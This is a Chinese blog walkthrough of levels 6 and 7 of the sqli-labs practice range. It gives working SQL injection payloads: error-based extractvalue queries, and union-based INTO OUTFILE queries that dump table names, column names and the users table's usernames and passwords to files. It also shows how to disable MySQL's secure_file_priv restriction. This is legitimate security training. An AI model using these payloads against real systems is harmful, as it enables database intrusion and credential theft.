【sqli靶场】第六关和第七关通关思路

2023-12-14 17:27:59

目录

前言

一、sqli靶场第六关

1.1 判断注入类型

1.2 观察报错??

1.3?使用extractvalue函数报错

1.4 爆出数据库中的表名

二、sqli靶场第七关

1.1 判断注入类型

1.2?判断数据表中的字段数

1.3?提示

1.4?构造poc爆库名

1.5?构造poc爆表名

1.6?构造poc爆字段名

1.7?构造poc获取账号和密码


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__??原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权??。

🎁欢迎大家给我点赞👍、收藏??,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

?sqli靶场第1关:filotimo.blog.less1

?sqli靶场第2-3关:filotimo.blog.less2-3

?sqli靶场第4-5关:filotimo.blog.less4-5


一、sqli靶场第六关

1.1 判断注入类型

输入?id=1',正常回显('是英文单引号)。

输入?id=1'',正常回显(''是两个英文单引号)。

输入?id=1",出现如图所示报错("是英文双引号):

?

输入?id=1"",正常回显(""是两个英文双引号)。

1.2 观察报错??

报错信息为'"1"" LIMIT 0,1'?

判断其为"闭合

输入?id=1''?--+,正常回显。

Less6的正常回显和Less5一样,都没有显示位,我们还是考虑报错注入。

1.3?使用extractvalue函数报错

构造语句:

?id=-1" and extractvalue(1,concat(0x7e,database(),0x7e)) --+

结果如图:

?

我们能看到数据库名为security。

1.4 爆出数据库中的表名

构造语句:

?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+

结果如图:

?

我们能看到表名为emails,referers,uagents,users。

点到为止,后面内容跟Less5思路一样,可以看我前面写的博客。

二、sqli靶场第七关

1.1 判断注入类型

输入?id=1'?and 1=1?--+,报语法错误。

输入?id=1"?and 1=1?--+,正常回显(''是两个英文单引号)。

但输入?id=1"?and 1=2?--+,仍然是正常回显,说明不是单纯的引号注入。

这关数据库具体报错没有提示到页面上,先猜猜看吧。

?常用闭合方式有:

?id=1'--+

?id=1"--+

?id=1')--+

?id=1")--+

?id=1'))--+

?id=1"))--+

当输入?id=1')) and 1=1 --+,正常回显。输入?id=1'))?and 1=2?--+,报语法错误。说明是'))的闭合方式。

1.2?判断数据表中的字段数

用二分法与order by确定列数为3。

输入?id=1')) order by 3 --+,正常回显。

输入?id=1')) order by 4 --+,报错。

所以数据表中有3个字段。

1.3?提示

正常回显中提示:?Use outfile......

在数据库中,outfile是一个命令,用于导出数据到文件。

以下是使用 into outfile 语句的一般语法:

SELECT column1, column2, ...
FROM table
INTO OUTFILE 'file_path'

其中,SELECT?语句是你的查询语句,column1, column2, ...?是需要获取的列名,table?是要查询的表名。而?'file_path'?是你希望将结果导出到的文件的路径。

into outfile() 写入文件,前提是要MySQL数据库开启secure-file-priv写文件权限,也就是secure_file_priv不为NULL。

我们进入MySQL命令窗口,输入show variables lilke '%secure%' ;

我的界面如图:

我用的是phpstudy,然后进入mysql安装目录,我的目录是E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26

进入目录,打开my.ini ,我的文件里面没有secure_file_priv,手动添加secure_file_priv=""

保存后退出,然后重启MySQL
?

再进入MySQL命令窗口,输入show variables lilke '%secure%' ;

这次我的界面如图:

1.4?构造poc爆库名

构造poc:

?id=-1')) union select user(),version(),database() into outfile "C:\\Users\\admin\\Desktop\\database.txt" --+

输入这个poc,它会报语法错误,但不要急,看看你的桌面,你会发现桌面上多了一个名为database.txt的文件。(?into outfile 后面的路径分隔符不能是\)

database.txt文件内容:

可以知道数据库的名字为security

1.5?构造poc爆表名

group_concat是一个聚合函数,用于将一组数据按照指定的顺序连接起来,并将结果作为一个字符串返回。它通常用于将多个行中的某个字段进行连接,从而构建出一段文本。

例如,我们有一张表格product,其中包含了id, name和color三个字段,现在我们需要将所有产品的名称连接起来,这时就可以使用group_concat函数:

SELECT GROUP_CONCAT(name) FROM product;

该查询将返回一个包含所有产品名称的逗号分隔字符串。如果想自定义连接符号,可以在 group_concat函数中指定separator参数,例如:

SELECT GROUP_CONCAT(name SEPARATOR ';') FROM product;

该查询将以分号作为连接符号返回所有的产品名称。

构造poc:

?id=-1')) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "C:\\Users\\admin\\Desktop\\tables.txt" --+

桌面上会出现tables.txt,文件内容为:

可以知道security库中表名为emails,referers,uagents,users。

1.6?构造poc爆字段名

爆出users表中的字段名:

?id=-1')) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile "C:\\Users\\admin\\Desktop\\column.txt" --+

桌面上会出现column.txt,文件内容为:

可以知道users表中字段名为id,username,password。

1.7?构造poc获取账号和密码

构造poc:

?id=-1')) union select user(),version(),(select group_concat((concat_ws('~',username,password)) separator ';')from security.users )into outfile "C:\\Users\\admin\\Desktop\\password.txt" --+

桌面上会出现password.txt,文件内容为:

文章来源:https://blog.csdn.net/m0_71369515/article/details/134958149
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。